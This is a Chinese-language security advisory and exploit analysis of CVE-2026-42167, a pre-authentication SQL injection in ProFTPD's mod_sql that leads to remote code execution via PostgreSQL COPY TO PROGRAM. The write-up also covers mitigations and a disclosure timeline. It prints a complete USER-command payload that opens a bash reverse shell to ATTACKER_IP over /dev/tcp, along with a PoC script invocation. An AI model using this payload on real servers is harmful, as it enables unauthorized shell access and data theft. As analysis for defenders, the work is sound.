mod_sql SQL 注入实现预认证远程代码执行作者: Van Glenndon Enad
原始发现: ZeroPath
发布时间: 2026年5月1日
严重性: 严重
CVSS v3.1 评分: 8.1
CVSS v3.1 向量: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2 评分: 7.6
CVSS v2 向量: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89(SQL注入),CWE-78(操作系统命令注入)
CVE-2026-42167 是 ProFTPD 的 mod_sql 扩展模块中存在的一个严重的预认证 SQL 注入漏洞。 函数中的逻辑缺陷允许未认证的攻击者通过构造一个满足有缺陷的"已转义"启发式判断的 命令值来绕过 SQL 字符转义。注入的 SQL 通过 直接传递给后端数据库,该函数支持堆叠查询。
is_escaped_text()USERPQexec()当 ProFTPD 数据库角色是 PostgreSQL 超级用户时(这是容器化部署中的常见错误配置),注入可到达 PostgreSQL 的 COPY TO PROGRAM 指令,从而以 postgres 系统用户身份实现未认证的操作系统级远程代码执行。无需凭据、无需先前访问权限、无需用户交互。
| 组件 | 版本 |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| 模块 | mod_sql + mod_sql_postgres |
| 修复版本 | 1.3.9a(2026年4月27日发布) |
| 后端 | PostgreSQL(RCE);MySQL / SQLite(仅认证绕过) |
ProFTPD 是一种广泛部署的开源 FTP 服务器。根据 Shodan 的数据,互联网上存在超过 160,000 个可公开访问的 ProFTPD 实例。mod_sql 模块通常在共享主机控制面板中启用,包括 cPanel、Plesk、DirectAdmin、Webmin 和 ISPConfig。
ProFTPD 的 mod_sql 模块支持基于 SQL 的认证和活动日志记录。日志格式字符串可以包含替换变量,如 %U(用户名)、%r(远程主机)和 %m(FTP 命令)。这些变量在运行时被展开并插入到针对已配置后端执行的 SQL 查询中。
一个典型的易受攻击配置:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
在此配置中,FTP USER 命令中提供的值被替换为 %U,并直接包含在 SQL INSERT 语句中。在插入之前,该值会通过 is_escaped_text() 来判断是否需要转义。该函数包含一个严重的逻辑缺陷。
is_escaped_text() 函数该函数位于 contrib/mod_sql.c 中,应用以下启发式判断来判断字符串是否"已转义":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* 假设字符串已转义,如果:
* 1. 以单引号开头
* 2. 以单引号结尾
* 3. 不包含内部单引号
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* 跳过转义 */
}
return FALSE;
}
当此函数返回 TRUE 时,sql_resolved_append_text()(第 777 行)将原始未转义的值直接插入查询字符串。该值随后由 contrib/mod_sql_postgres.c(第 1146 行)中的 PQexec() 执行,该函数支持堆叠(多语句)查询。
该启发式判断的意图可能是检测已经被 SQL 字符串分隔符包围的字符串。然而,它并未尝试验证内部内容是否安全——仅检查是否不存在额外的单引号。这意味着任何满足以下条件的载荷:
' 开头' 结尾$$ 美元引用)...都将通过检查并被逐字注入到 SQL 查询中。
FTP 客户端 ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ 展开 %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ 跳过转义 │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ 执行堆叠 SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell 命令 ──▶ 操作系统
| 要求 | 说明 |
|---|---|
启用 mod_sql 并配置 SQL 日志记录 | 必须记录预认证变量,如 %U |
| PostgreSQL 后端 | 实现 COPY TO PROGRAM RCE 所必需;MySQL/SQLite 仍允许认证绕过 |
| 数据库角色为 PostgreSQL 超级用户 | COPY TO PROGRAM 仅限于超级用户或 pg_execute_server_program 组成员 |
数据库主机上可用 bash | 通过 /dev/tcp 传递反向 shell 所必需 |
| 网络可达性 | PostgreSQL 容器必须能够通过监听端口访问攻击者 |
超级用户条件在容器化部署中经常满足,因为官方 PostgreSQL Docker 镜像中通过 POSTGRES_USER=... 创建 ProFTPD 数据库用户,或者管理员授予 ProFTPD 角色数据库的所有权。
步骤 1:攻击者发送精心构造的 USER 命令(预认证,无需凭据)
│
▼
步骤 2:ProFTPD 使用攻击者控制的值展开 %U
│
▼
步骤 3:绕过 is_escaped_text() — 原始 SQL 未经转义直接通过
│
▼
步骤 4:PQexec() 对 PostgreSQL 执行堆叠查询
│
▼
步骤 5:COPY TO PROGRAM 以 postgres 操作系统用户身份执行攻击者的 shell 命令
│
▼
步骤 6:反向 shell / 文件窃取传递给攻击者
注入载荷通过 FTP USER 命令传递:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| 条件 | 是否满足? | 原因 |
|---|---|---|
以 ' 开头 | ✅ | 第一个字符是 ' |
以 ' 结尾 | ✅ | 最后一个字符是 ' |
| 无内部单引号 | ✅ | 内部字符串使用 $$ 美元引用 |
| 片段 | 用途 |
|---|---|
', null, null); | 干净地闭合原始 INSERT 语句 |
COPY (SELECT $$x$$) TO PROGRAM | 使用 PostgreSQL 的 COPY TO PROGRAM 进行堆叠查询 |
$$bash -c ...$$ | 使用 $$ 美元引用避免单引号的 shell 命令 |
; --' | 终止堆叠查询;--' 注释掉其余部分并提供绕过所需的闭合 ' |
警告: 此 PoC 仅供教育和授权测试目的使用。请勿将其用于您不拥有或未经明确书面许可的系统。
示例用法:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| 类别 | 描述 |
|---|---|
| 机密性 | 以 postgres 操作系统用户身份完全读取文件系统 |
| 完整性 | 能够写入文件、修改数据库内容、安装后门 |
| 可用性 | 可能导致服务中断、数据破坏 |
| 认证 | 预认证状态下零凭据即可利用 |
| 影响范围 | 从 ProFTPD 扩展到底层 PostgreSQL 主机 |
任何 ProFTPD 与 PostgreSQL 实例共存或具有超级用户访问权限的系统都面临主机完全沦陷的风险。利用后,横向移动到相邻系统以及通过 cron 作业或 SSH 密钥注入实现持久化都极易实现。
is_escaped_text()mod_sql 的日志记录(移除 SQLLog 指令)SQLNamedQuery 定义中移除预认证日志变量(%U、%r、%m)INSERT 和对认证表执行 SELECTCOPY、PROGRAM 或 SQL 关键字的 USER 命令| 日期 | 事件 |
|---|---|
| 2026年3月28日 | 向 ProFTPD 维护者报告漏洞 |
| 2026年4月7日 | 开始补丁验证 |
| 2026年4月24日 | 分配 CVE-2026-42167 |
| 2026年4月27日 | 提交修复;发布 ProFTPD 1.3.9a |
| 2026年4月28日 | 在 NVD 上发布 |
| 2026年4月28–29日 | 公共 PoC 仓库在 GitHub 上发布 |
| 2026年5月1日 | 发布独立分析和简化 PoC |
法律免责声明: 本分析和概念验证严格出于教育、研究和防御性安全目的发布。作者不纵容对计算机系统的未授权访问。在对您不拥有的任何系统进行安全测试之前,务必获得明确的书面许可。